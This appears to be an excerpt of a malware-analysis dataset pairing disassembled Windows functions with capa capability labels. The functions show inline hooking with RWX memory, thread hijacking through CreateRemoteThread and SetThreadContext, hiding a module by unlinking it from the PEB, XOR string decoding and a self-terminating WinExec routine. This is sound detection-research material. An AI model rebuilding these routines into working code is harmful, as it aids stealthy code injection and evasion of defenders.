joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
imul esi, dword [ebp + 8], 0x2c
mov eax, 5
push edi
mov dword [ebp + 8], eax
add esi, dword [0x101388e0]
test byte [esi + 0x14], 1
mov edi, dword [esi]
je 0x1000b02a
sub edi, eax
mov eax, 7
mov dword [ebp + 8], eax
lea ecx, [ebp - 4]
push ecx
push 0x40
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1000b047
pop edi
mov eax, 0xa
pop esi
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x1000b06c
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x1000b08d
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x1000b08d
mov eax, dword [esi + 0xc]
test byte [esi + 0x14], 1
mov dword [edi], eax
je 0x1000b087
mov ax, word [esi + 0x10]
mov word [edi + 4], ax
mov al, byte [esi + 0x12]
mov byte [edi + 6], al
jmp 0x1000b08d
mov al, byte [esi + 0x10]
mov byte [edi + 4], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, byte [esi + 0x14]
and bl, 1
mov cl, bl
and al, 0xfd
add cl, cl
shl bl, 2
or cl, al
and cl, 0xfb
or cl, bl
xor eax, eax
pop ebx
pop edi
mov byte [esi + 0x14], cl
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000b130
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10136ba4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x1000b217
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1000b210
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop dword [eax]
cmp dword [ebp - 0x20], 0x10
jb 0x1000b1f6
call ebx
cmp dword [ebp - 0x14], eax
jne 0x1000b1f6
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x1000b1f6
mov ecx, dword [esi]
test ecx, ecx
jne 0x1000b1bf
push 0x200
push ecx
mov dword [esi + 4], 0x80
push dword [0x10137bc4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x1000b20f
jmp 0x1000b1e8
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x1000b1e8
shl eax, 3
push eax
push ecx
push 0
push dword [0x10137bc4]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1000b20f
mov ecx, dword [esi + 4]
add ecx, ecx
mov dword [esi], eax
mov dword [esi + 4], ecx
mov edx, dword [esi + 8]
mov ecx, dword [esi]
mov eax, dword [ebp - 0x18]
mov dword [ecx + edx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1000b180
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000d554
mov esp, ebp
pop ebp
ret
Function at 0x1000b2d0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.1000b130
add esp, 4
cmp dword [esi], 0
je 0x1000b33c
push edi
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x1000b33b
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x1000b334
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1000b530
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x1000b302
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x1000b670
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
cmp dword [edi], 0
je 0x1000b6c0
push esi
xor esi, esi
cmp dword [edi + 8], esi
jbe 0x1000b6af
push ebx
mov eax, dword [edi]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x1000b6a8
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [edi + 8]
jb 0x1000b685
pop ebx
push dword [edi]
push 0
push dword [0x10137bc4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop edi
pop ebp
ret
Function at 0x10019b2a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100199a9

Function at 0x100200f5
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001fdb5
Function at 0x100018b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x1f4
lea eax, [ebp - 0x1f8]
push 0
push eax
mov esi, ecx
call fcn.1001b890
add esp, 0xc
lea ecx, [ebp - 0x1fc]
push ecx
push 0x20019
xor ebx, ebx
push ebx
push esi
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10001955
mov ecx, dword [ebp - 0x1fc]
lea edx, [ebp - 0x200]
push edx
lea eax, [ebp - 0x1f8]
push eax
push ebx
push ebx
push edi
push ecx
call esi
test eax, eax
jne 0x10001955
push 0x1f4
push eax
lea edx, [ebp - 0x1f8]
push edx
call fcn.1001b890
mov eax, dword [ebp - 0x1fc]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
lea eax, [ebx + 1]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1fc]
lea ecx, [ebp - 0x200]
push ecx
lea edx, [ebp - 0x1f8]
push edx
push 0
push 0
push edi
push eax
call esi
test eax, eax
jne 0x100019ac
push 0x1f4
push eax
lea ecx, [ebp - 0x1f8]
push ecx
call fcn.1001b890
mov edx, dword [ebp - 0x1fc]
add esp, 0xc
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.100164f9
mov esp, ebp
pop ebp
ret

Function at 0x100019c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10c]
push ecx
push 1
push 0
push eax
push connect
mov dword [ebp - 0x110], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
lea eax, [ebp - 0x108]
jne 0x10001a33
lea edx, [ebp - 0x110]
push edx
mov edx, dword [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret

Function at 0x10001a50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10c]
push ecx
push 1
push 0
push eax
push connect
mov dword [ebp - 0x110], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
lea eax, [ebp - 0x108]
jne 0x10001ac3
lea edx, [ebp - 0x110]
push edx
mov edx, dword [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret
Function at 0x100029f0
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
xor edx, edx
push edi
xor eax, eax
test dl, 1
je 0x10002a00
mov eax, 0x80
mov ecx, edx
shr ecx, 1
test cl, 1
je 0x10002a0c
or eax, 0x40
shr ecx, 1
test cl, 1
je 0x10002a16
or eax, 0x20
shr ecx, 1
test cl, 1
je 0x10002a20
or eax, 0x10
shr ecx, 1
test cl, 1
je 0x10002a2a
or eax, 8
shr ecx, 1
test cl, 1
je 0x10002a34
or eax, 4
shr ecx, 1
test cl, 1
je 0x10002a3e
or eax, 2
test cl, 2
je 0x10002a46
or eax, 1
shl eax, 0x18
mov ecx, eax
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
xor edi, edi
mov dword [esi + edx*4], ecx
mov eax, ecx
lea ecx, [edi + 0x1f]
jmp 0x10002b00
test al, 1
je 0x10002b0d
mov ebx, 1
shl ebx, cl
or edi, ebx
dec ecx
shr eax, 1
cmp ecx, 0xffffffff
jg 0x10002b00
mov dword [esi + edx*4], edi
inc edx
cmp edx, 0xff
jle 0x100029f4
pop edi
pop ebx
ret

Function at 0x10002b30
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov dword [ebp - 0x408], edi
push edi
push 0x400
lea eax, [ebp - 0x404]
push 1
push eax
call fcn.100182fd
add esp, 0x10
mov ecx, eax
lea edx, [ebp - 0x404]
test eax, eax
je 0x10002ba0
jmp 0x10002b80
movzx ebx, byte [edx]
mov edi, esi
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr esi, 8
xor esi, dword [ebx + edi*4]
inc edx
dec ecx
jne 0x10002b80
mov edi, dword [ebp - 0x408]
cmp eax, 0x400
je 0x10002b54
push edi
call fcn.10018701
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
not eax
pop ebx
call fcn.100164f9
mov esp, ebp
pop ebp
ret 8
Function at 0x10002bd0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x100355b8
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call fcn.10017af5
add esp, 0xc
test eax, eax
je 0x10002c01
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call fcn.10017071
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x10002c2d
mov edx, dword [ebp - 4]
push edx
call fcn.10018701
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call fcn.100182fd
add esp, 0x10
test eax, eax
je 0x10002c8a
push ebx
mov ecx, eax
mov edx, edi
test eax, eax
je 0x10002c71
mov edi, edi
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x10002c50
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call fcn.100182fd
add esp, 0x10
test eax, eax
jne 0x10002c46
pop ebx
push edi
call fcn.10016e81
mov edx, dword [ebp - 4]
push edx
call fcn.10018701
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x10002cb0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x100355b0
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call fcn.100165c6
add esp, 0xc
test eax, eax
je 0x10002ce1
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call fcn.10017071
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x10002d0d
mov edx, dword [ebp - 4]
push edx
call fcn.10018701
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call fcn.100182fd
add esp, 0x10
test eax, eax
je 0x10002d6a
push ebx
mov ecx, eax
mov edx, edi
test eax, eax
je 0x10002d51
mov edi, edi
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x10002d30
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call fcn.100182fd
add esp, 0x10
test eax, eax
jne 0x10002d26
pop ebx
push edi
call fcn.10016e81
mov edx, dword [ebp - 4]
push edx
call fcn.10018701
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x100036e0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10031288
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x10003745
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.10003490
mov ecx, esi
call fcn.10003540
mov ecx, esi
call fcn.10003620
cmp dword [ebp + 0x1c], 0x10
jb 0x10003771
mov eax, dword [ebp + 8]
push eax
call fcn.100164ee
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret

Function at 0x10003980
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
mov ecx, dword [ebp + 8]
push esi
push ecx
push edi
call fcn.10018c50
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003ae0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
push esi
push 0xc3
push edi
call fcn.1001b890
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003bd0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
mov ecx, 0xd6
xor eax, eax
mov edi, edi
mov dl, byte [eax + 0x100355c4]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10003bf0
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x3f67da6b
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.10012dd0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2f4]
push ecx
push 0x40
mov esi, eax
xor eax, eax
push pe_nt_image_headers32
push esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea edx, [ebp - 0x2f0]
push edx
mov ebx, 0x10002
push esi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
push eax
push esi
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.100164f9
mov esp, ebp
pop ebp
ret

Function at 0x10003cd0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10003d18
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10003d1c
cmp edx, esi
jne 0x10003d01
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x10003d3c
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10003d40
cmp edx, esi
jne 0x10003d25
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x10003d60
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10003d64
cmp edx, esi
jne 0x10003d49
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003d70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0xdd
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x100355e4]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x16
jb 0x10003da0
mov byte [ebp - 0x10a], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.10016709
add esp, 0xc
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.1001b890
add esp, 0xc
jmp dword [pe_dos_header]
Function at 0x10003e20
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100313d6
mov eax, dword fs:[0]
push eax
sub esp, 0x1d4
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x118]
push eax
push 0x104
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ebx, ebx
mov ecx, 0xc8
xor eax, eax
jmp 0x10003e70
mov dl, byte [eax + 0x100355fc]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x134], dl
inc eax
and ecx, 0xff
cmp eax, 0x10
jb 0x10003e70
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x134]
push ecx
mov edx, eax
push edx
mov byte [ebp - 0x124], bl
call fcn.10016709
lea eax, [ebp - 0x118]
add esp, 0xc
push eax
call fcn.100178cf
add esp, 4
lea ecx, [ebp - 0x1e0]
push ecx
call fcn.1000f890
lea edx, [ebp - 0x118]
push edx
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 4], ebx
call fcn.10010c20
test eax, eax
jne 0x10003f03
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0x1d4]
lea ecx, [ebp + ecx - 0x1e0]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x10003f24
or eax, 4
jmp 0x10003f24
mov ecx, dword [ebp - 0x1e0]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0x1a8]
lea ecx, [ebp + ecx - 0x1e0]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
call fcn.10001580
mov dword [ebp - 0x120], 0x6f727245
mov dword [ebp - 0x11c], 0x203a72
push esi
push ecx
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp - 0x1e0]
push eax
mov byte [ebp - 4], 1
call fcn.10012e80
add esp, 0xc
push eax
call fcn.10012e80
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.1000f000
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
mov ecx, dword [eax + esi + 0xc]
xor edi, edi
test cl, 6
jne 0x10003f95
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x10003f95
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
cmp edi, ebx
je 0x10003fb3
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], ebx
jne 0x10003fad
or eax, 4
push ebx
call fcn.10001580
xor eax, eax
mov byte [ebp - 4], bl
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x1dc]
call fcn.10010cc0
test eax, eax
jne 0x10003ffb
mov edx, dword [ebp - 0x1e0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x1d4]
lea ecx, [ebp + ecx - 0x1e0]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x10003ff5
or eax, 4
push ebx
call fcn.10001580
call fcn.10003d70
lea ecx, [ebp - 0x180]
mov dword [ebp - 4], 0xffffffff
call fcn.1000f9b0
lea eax, [ebp - 0x180]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10015b9d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret
Function at 0x10004070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push pe_nt_image_headers32
push 0
push 0x10141570
call fcn.1001b890
mov ecx, dword [ebp + 8]
add esp, 0xc
xor eax, eax
sub ecx, 0x10141570
mov dl, byte [ecx + eax + 0x10141570]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x10141570], dl
inc eax
cmp eax, 0x100
jl 0x10004092
mov eax, 0x10141570
pop ebp
ret